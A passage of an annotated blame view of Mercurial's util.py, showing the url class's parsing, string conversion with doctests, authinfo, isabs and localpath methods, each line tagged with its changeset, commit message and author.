924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2632 path = path[2:]
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2633 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2634 return
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2635
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2636 if self._matchscheme(path):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2637 parts = path.split(':', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2638 if parts[0]:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2639 self.scheme, path = parts
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2640 self._localpath = False
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2641
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2642 if not path:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2643 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2644 if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2645 self.path = ''
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2646 return
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2647 else:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2648 if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2649 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2650 return
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2651
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2652 if parsequery and '?' in path:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2653 path, self.query = path.split('?', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2654 if not path:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2655 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2656 if not self.query:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2657 self.query = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2658
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2659 # // is required to specify a host/authority
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2660 if path and path.startswith('//'):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2661 parts = path[2:].split('/', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2662 if len(parts) > 1:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2663 self.host, path = parts
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2664 else:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2665 self.host = parts[0]
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2666 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2667 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2668 self.host = None
15018 e89f62dcd723 url: really handle urls of the form file:///c:/foo/bar/ correctly Mads Kiilerich <mads@kiilerich.com> parents: 14988 diff changeset	2669 # path of file:///d is /d
e89f62dcd723 url: really handle urls of the form file:///c:/foo/bar/ correctly Mads Kiilerich <mads@kiilerich.com> parents: 14988 diff changeset	2670 # path of file:///d:/ is d:/, not /d:/
14915 28edd65000d9 url: handle urls of the form file:///c:/foo/bar/ correctly Matt Mackall <mpm@selenic.com> parents: 14825 diff changeset	2671 if path and not hasdriveletter(path):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2672 path = '/' + path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2673
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2674 if self.host and '@' in self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2675 self.user, self.host = self.host.rsplit('@', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2676 if ':' in self.user:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2677 self.user, self.passwd = self.user.split(':', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2678 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2679 self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2680
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2681 # Don't split on colons in IPv6 addresses without ports
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2682 if (self.host and ':' in self.host and
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2683 not (self.host.startswith('[') and self.host.endswith(']'))):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2684 self._hostport = self.host
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2685 self.host, self.port = self.host.rsplit(':', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2686 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2687 self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2688
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2689 if (self.host and self.scheme == 'file' and
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2690 self.host not in ('localhost', '127.0.0.1', '[::1]')):
37099 895f209b593b util: use error.Abort instead of local alias Yuya Nishihara <yuya@tcha.org> parents: 37098 diff changeset	2691 raise error.Abort(_('file:// URLs can only refer to localhost'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2692
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2693 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2694
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	2695 # leave the query string escaped
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2696 for a in ('user', 'passwd', 'host', 'port',
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	2697 'path', 'fragment'):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2698 v = getattr(self, a)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2699 if v is not None:
31573 4ebecf331d7d util: use urlreq.unquote Gregory Szorc <gregory.szorc@gmail.com> parents: 31547 diff changeset	2700 setattr(self, a, urlreq.unquote(v))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2701
34089 30535fe47e78 py3: fix repr(util.url) to return system string Yuya Nishihara <yuya@tcha.org> parents: 34069 diff changeset	2702 @encoding.strmethod
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2703 def __repr__(self):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2704 attrs = []
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2705 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2706 'query', 'fragment'):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2707 v = getattr(self, a)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2708 if v is not None:
37917 bb1b15acfd06 util: make util.url __repr__ consistent on Python 2 and 3 Augie Fackler <augie@google.com> parents: 37890 diff changeset	2709 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2710 return '<url %s>' % ', '.join(attrs)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2711
33038 ce96efec8112 py3: add utility to forward __str__() to __bytes__() Yuya Nishihara <yuya@tcha.org> parents: 32904 diff changeset	2712 def __bytes__(self):
14147 617483af1cc0 test: test that backslash is preserved by the url class Mads Kiilerich <mads@kiilerich.com> parents: 14146 diff changeset	2713 r"""Join the URL's components back into a URL string.
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2714
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2715 Examples:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2716
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	2717 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
15452 de7e2fba4326 util: don't encode ':' in url paths Mads Kiilerich <mads@kiilerich.com> parents: 15392 diff changeset	2718 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	2719 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	2720 'http://user:pw@host:80/?foo=bar&baz=42'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	2721 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	2722 'http://user:pw@host:80/?foo=bar%3dbaz'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	2723 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2724 'ssh://user:pw@[::1]:2200//home/joe#'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	2725 >>> bytes(url(b'http://localhost:80//'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2726 'http://localhost:80//'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	2727 >>> bytes(url(b'http://localhost:80/'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2728 'http://localhost:80/'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	2729 >>> bytes(url(b'http://localhost:80'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2730 'http://localhost:80/'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	2731 >>> bytes(url(b'bundle:foo'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2732 'bundle:foo'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	2733 >>> bytes(url(b'bundle://../foo'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2734 'bundle:../foo'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	2735 >>> bytes(url(b'path'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2736 'path'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	2737 >>> bytes(url(b'file:///tmp/foo/bar'))
14313 a389dd285282 util: make str(url) return file:/// for abs paths again Peter Arrenbrecht <peter.arrenbrecht@gmail.com> parents: 14271 diff changeset	2738 'file:///tmp/foo/bar'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	2739 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
15611 ec8a49c46d7e merge with stable Matt Mackall <mpm@selenic.com> parents: 15513 15609 diff changeset	2740 'file:///c:/tmp/foo/bar'
34152 a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed Yuya Nishihara <yuya@tcha.org> parents: 34149 diff changeset	2741 >>> print(url(br'bundle:foo\bar'))
14147 617483af1cc0 test: test that backslash is preserved by the url class Mads Kiilerich <mads@kiilerich.com> parents: 14146 diff changeset	2742 bundle:foo\bar
34152 a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed Yuya Nishihara <yuya@tcha.org> parents: 34149 diff changeset	2743 >>> print(url(br'file:///D:\data\hg'))
20106 c33d9217e99d util: url keeps backslash in paths Simon Heimberg <simohe@besonet.ch> parents: 20000 diff changeset	2744 file:///D:\data\hg
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2745 """
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2746 if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2747 s = self.path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2748 if self.scheme == 'bundle':
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2749 s = 'bundle:' + s
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2750 if self.fragment:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2751 s += '#' + self.fragment
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2752 return s
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2753
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2754 s = self.scheme + ':'
14313 a389dd285282 util: make str(url) return file:/// for abs paths again Peter Arrenbrecht <peter.arrenbrecht@gmail.com> parents: 14271 diff changeset	2755 if self.user or self.passwd or self.host:
a389dd285282 util: make str(url) return file:/// for abs paths again Peter Arrenbrecht <peter.arrenbrecht@gmail.com> parents: 14271 diff changeset	2756 s += '//'
15609 8f4bad72d8b1 util: fix url.__str__() for windows file URLs Patrick Mezard <pmezard@gmail.com> parents: 15505 diff changeset	2757 elif self.scheme and (not self.path or self.path.startswith('/')
8f4bad72d8b1 util: fix url.__str__() for windows file URLs Patrick Mezard <pmezard@gmail.com> parents: 15505 diff changeset	2758 or hasdriveletter(self.path)):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2759 s += '//'
15609 8f4bad72d8b1 util: fix url.__str__() for windows file URLs Patrick Mezard <pmezard@gmail.com> parents: 15505 diff changeset	2760 if hasdriveletter(self.path):
8f4bad72d8b1 util: fix url.__str__() for windows file URLs Patrick Mezard <pmezard@gmail.com> parents: 15505 diff changeset	2761 s += '/'
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2762 if self.user:
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	2763 s += urlreq.quote(self.user, safe=self._safechars)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2764 if self.passwd:
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	2765 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2766 if self.user or self.passwd:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2767 s += '@'
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2768 if self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2769 if not (self.host.startswith('[') and self.host.endswith(']')):
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	2770 s += urlreq.quote(self.host)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2771 else:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2772 s += self.host
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2773 if self.port:
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	2774 s += ':' + urlreq.quote(self.port)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2775 if self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2776 s += '/'
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2777 if self.path:
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	2778 # TODO: similar to the query string, we should not unescape the
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	2779 # path when we store it, the path might contain '%2f' = '/',
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	2780 # which we should not escape.
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	2781 s += urlreq.quote(self.path, safe=self._safepchars)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2782 if self.query:
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	2783 # we store the query in escaped form.
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	2784 s += '?' + self.query
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2785 if self.fragment is not None:
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	2786 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2787 return s
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2788
33038 ce96efec8112 py3: add utility to forward __str__() to __bytes__() Yuya Nishihara <yuya@tcha.org> parents: 32904 diff changeset	2789 __str__ = encoding.strmethod(__bytes__)
ce96efec8112 py3: add utility to forward __str__() to __bytes__() Yuya Nishihara <yuya@tcha.org> parents: 32904 diff changeset	2790
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2791 def authinfo(self):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2792 user, passwd = self.user, self.passwd
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2793 try:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2794 self.user, self.passwd = None, None
31841 9ff5a124d111 py3: replace str() with bytes() Pulkit Goyal <7895pulkit@gmail.com> parents: 31811 diff changeset	2795 s = bytes(self)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2796 finally:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2797 self.user, self.passwd = user, passwd
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2798 if not self.user:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2799 return (s, None)
15028 eb97a3e38656 http: explain why the host is passed to urllib2 password manager Patrick Mezard <pmezard@gmail.com> parents: 15027 diff changeset	2800 # authinfo[1] is passed to urllib2 password manager, and its
eb97a3e38656 http: explain why the host is passed to urllib2 password manager Patrick Mezard <pmezard@gmail.com> parents: 15027 diff changeset	2801 # URIs must not contain credentials. The host is passed in the
eb97a3e38656 http: explain why the host is passed to urllib2 password manager Patrick Mezard <pmezard@gmail.com> parents: 15027 diff changeset	2802 # URIs list because Python < 2.4.3 uses only that to search for
eb97a3e38656 http: explain why the host is passed to urllib2 password manager Patrick Mezard <pmezard@gmail.com> parents: 15027 diff changeset	2803 # a password.
15024 0f1311e829c9 http: strip credentials from urllib2 manager URIs (issue2885) Patrick Mezard <pmezard@gmail.com> parents: 15018 diff changeset	2804 return (s, (None, (s, self.host),
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2805 self.user, self.passwd or ''))
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2806
14766 4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	2807 def isabs(self):
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	2808 if self.scheme and self.scheme != 'file':
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	2809 return True # remote URL
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	2810 if hasdriveletter(self.path):
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	2811 return True # absolute for our purposes - can't be joined()
33108 d9962854a4a2 py3: add b'' to make the regex pattern bytes Pulkit Goyal <7895pulkit@gmail.com> parents: 33106 diff changeset	2812 if self.path.startswith(br'\\'):
14766 4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	2813 return True # Windows UNC path
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	2814 if self.path.startswith('/'):
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	2815 return True # POSIX-style
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	2816 return False
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	2817
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2818 def localpath(self):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2819 if self.scheme == 'file' or self.scheme == 'bundle':
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2820 path = self.path or '/'
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2821 # For Windows, we need to promote hosts containing drive
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2822 # letters to paths with drive letters.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2823 if hasdriveletter(self._hostport):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2824 path = self._hostport + '/' + self.path
15496 396e83d635a6 url: handle file://localhost/c:/foo "correctly" Mads Kiilerich <mads@kiilerich.com> parents: 15488 diff changeset	2825 elif (self.host is not None and self.path
396e83d635a6 url: handle file://localhost/c:/foo "correctly" Mads Kiilerich <mads@kiilerich.com> parents: 15488 diff changeset	2826 and not hasdriveletter(path)):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2827 path = '/' + path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2828 return path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2829 return self._origpath
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2830
